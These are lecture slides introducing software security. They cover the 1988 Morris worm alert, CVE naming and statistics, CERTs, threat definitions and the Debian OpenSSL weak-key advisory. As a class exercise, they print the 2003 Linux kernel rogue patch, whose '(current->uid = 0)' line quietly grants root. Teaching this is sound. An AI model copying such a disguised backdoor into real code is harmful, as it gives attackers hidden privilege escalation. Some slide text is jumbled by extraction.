Introduction To Software Security-Slides
Introduction To Software Security-Slides
Emmanuel Fleury
<[email protected]>
October 8, 2019
1 Motivations
3 Security Vulnerabilities
4 Malware Alerts
5 Software Vulnerabilities
7 Course Overview
1 Motivations
3 Security Vulnerabilities
4 Malware Alerts
5 Software Vulnerabilities
7 Course Overview
Hi Gang!
It's now 3:45 AM on Wednesday 3 November 1988. I'm tired, so don't believe
everything that follows... Apparently, there is a massive attack on Unix
systems going on right now.
I have spoken to systems managers at several computers, on both the east & west
coast, and I suspect this may be a system wide problem. Symptom: hundreds or
thousands of jobs start running on a Unix system bringing response to zero.
[...]
This virus is spreading very quickly over the Milnet. Within the past 4 hours,
I have evidence that it has hit >10 sites across the country, both Arpanet and
Milnet sites. I suspect that well over 50 sites have been hit. Most of these
are "major" sites and gateways.
[...]
Year #Vulnerabilities
1999 894
·104 2000 1,020
2001 1,677
2002 2,156
1.5 2003 1,527
2004 2,451
2005 4,935
#Vulnerabilities
2006 6,610
1 2007 6,520
2008 5,632
2009 5,736
2010 4,652
0.5 2011 4,155
2012 5,297
2013 5,191
2014 7,946
0 2015 6,480
2016 6,447
2000 2005 2010 2015 2017 14,714
Year 2018 16,555
2019 424
1 Motivations
3 Security Vulnerabilities
4 Malware Alerts
5 Software Vulnerabilities
7 Course Overview
Data Cryptography,
Security Cryptanalysis,
...
Application Security:
Lies in user-space;
Attacker
Concerned about usual programming errors:
Buffer-overflows, heap-overflows, format string bugs, . . . Users
Software Obfuscation/Reverse-engineering:
Extracting knowledge from pieces of software:
Disassembler, cfg-recovery, decompiler, obfuscators, . . .
Princeton Architecture
∗ “What You See Is Not What You Execute” (WYSINWYX) is a term coined by Gogul Balakrishnan and Thomas Reps in 2007.
1 Motivations
3 Security Vulnerabilities
4 Malware Alerts
5 Software Vulnerabilities
7 Course Overview
Candidate ID
CVE-YYYY-NNNN...N CVE - 2014 - 0224
Not an Issue Analysis Year of Unique ID
CVE prefix
discovery assigned by CNA
Official CVE ID
CVE-YYYY-NNNN...N Examples
Each CVE Identifier includes: CVE-2014-0160 (Heartbleed)
CVE Identifier number CVE-2014-6271 (Shellshock)
(CVE-1999-0067, CVE-2014-100001)
CVE-2015-0235 (GHOST: glibc vulnerability)
Brief description of the security
vulnerability or exposure. CVE-2016-0800 (DROWN Attack)
Any pertinent references CVE-2016-5195 (Dirty COW)
(vulnerability reports and advisories).
Request Type
Request up to 10 IDs
Confirm vulnerability
is still unknown
Vulnerability
Type
Provide required
information
1 Motivations
3 Security Vulnerabilities
4 Malware Alerts
5 Software Vulnerabilities
7 Course Overview
CERT/CSIRT Goals
French CERT/CSIRT
CERT-FR (French administration)
CERT Crédit Agricole
CERT-DEVOTEAM
Airbus Cybersecurity
Cert-IST (Alcatel, CNES, ELF (Total))
CERT Banque de France
CERT-LAPOSTE
CSIRT ATOS
CERT-LEXSI (Labo. d’EXpertise en Sécurité Informatique)
Airbus Group CERT
CERT-RENATER
CERT Capgemini-Sogeti
CERT-societegenerale
CERT SEKOIA
CERT-XMCO
CERT UBIK
CSIRT-BNP Paribas
CERT Caisse des Dépôts (CERT-CDCFR)
Orange-CERT-CC
CERT OSIRIS (Université de Strasbourg)
CERT-SOLUCOM
1 Motivations
3 Security Vulnerabilities
4 Malware Alerts
5 Software Vulnerabilities
7 Course Overview
Threat
A threat is a way for an attacker to misuse the program in an unexpected manner.
Threats are coming from:
Algorithm Flaws: Design error at the algorithmic level.
Program Bugs: Programming error leading to some unexpected behavior.
Vulnerability
A vulnerability is a threat which can be used to gain some unexpected advantages.
Vulnerabilities are embodied through:
Proofs of Concept: Program pinpointing the problem (usually not harmful).
Exploits: Program using the problem to effectively gain unauthorized capabilities.
Vulnerabilities are actual security issues.
Execution Flow
Modify or control the running process by program counter overwriting,
return-into-libc attacks, symbol overload, . . .
Resources
Exhaust available resources (denial of service), spoof trusted resources
(man-in-the-middle), . . .
Users
Social engineering, Malwares (trojan horses, viruses, rootkits, . . . ), human mistakes
(weak passwords, bad habits, . . . ).
1 Motivations
3 Security Vulnerabilities
4 Malware Alerts
5 Software Vulnerabilities
7 Course Overview
CVE-ID: CVE-2008-0166
Description: OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 on
Debian-based operating systems uses a random number generator that
generates predictable numbers, which makes it easier for remote attackers to
conduct brute force guessing attacks against cryptographic keys.
References:
MILW0RM:5622
http://www.milw0rm.com/exploits/5622
MILW0RM:5632
http://www.milw0rm.com/exploits/5632
MILW0RM:5720
http://www.milw0rm.com/exploits/5720
DEBIAN:DSA-1571
http://www.debian.org/security/2008/dsa-1571
DEBIAN:DSA-1576
http://www.debian.org/security/2008/dsa-1576
...
More information: Luciano Bello discovered that the random number generator in Debian's
openssl package is predictable. This is caused by an incorrect Debian-specific change to the
openssl package (CVE-2008-0166). As a result, cryptographic key material may be guessable.
This is a Debian-specific vulnerability which does not affect other operating systems
which are not based on Debian. However, other systems can be indirectly affected if
weak keys are imported into them.
It is strongly recommended that all cryptographic key material which has been generated
by OpenSSL versions starting with 0.9.8c-1 on Debian systems is recreated from scratch.
Furthermore, all DSA keys ever used on affected Debian systems for signing or
authentication purposes should be considered compromised; the Digital Signature Algorithm
relies on a secret random value used during signature generation.
The first vulnerable version, 0.9.8c-1, was uploaded to the unstable distribution on
2006-09-17, and has since that date propagated to the testing and current stable (etch)
distributions. The old stable distribution (sarge) is not affected.
Affected keys include SSH keys, OpenVPN keys, DNSSEC keys, and key material for use in
X.509 certificates and session keys used in SSL/TLS connections. Keys generated with GnuPG
or GNUTLS are not affected, though.
Rogue Patch
--- kernel/exit.c GOOD 2003-11-05 13:46:44.000000000 -0800
+++ kernel/exit.c BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state = TASK_RUNNING;
1 What are the effects of the patch when the flags WCLONE and WALL are true ?
2 Would it be possible to have a remote exploit of this backdoor ?
1 Motivations
3 Security Vulnerabilities
4 Malware Alerts
5 Software Vulnerabilities
7 Course Overview
Secure Programming
Better understanding the limits of software security;
Better knowledge on what is going “backstage”.
Homeworks [1/2]
(challenges from https://www.root-me.org/ (App-system, Cracking))
1 Exam [1/2]
(December, duration: 3h, all documents allowed)
Course
http://www.labri.fr/~fleury/courses/software-security/
1 Motivations
3 Security Vulnerabilities
4 Malware Alerts
5 Software Vulnerabilities
7 Course Overview
Magazines
Misc (Diamond Editions)
Phrack (http://www.phrack.org)
Podcasts
NoLimitSecu (https://www.nolimitsecu.fr/)
Le Comptoir Sécu (https://www.comptoirsecu.fr/podcast/)
Security Now (https://www.grc.com/securitynow.htm)
Nebula Challenges
Michael Hale Ligh, Andrew Case, Jamie Levy, and Aaron Walters.
The Art of Memory Forensics: Detecting Malware and Threats in Windows,
Linux, and Mac Memory.
John Wiley & Sons, 2014.
Ryan O’Neill.
Learning Linux Binary Analysis.
Packt Publishing, 2016.
Robert C. Seacord.
Secure Coding in C and C++.
SEI Series. Addison Wesley, 2nd edition, 2013.
Michael Sikorski and Andrew Honig.
Practical Malware Analysis: A Hands-On Guide to Dissecting Malicious
Software.
No Starch Press, 2012.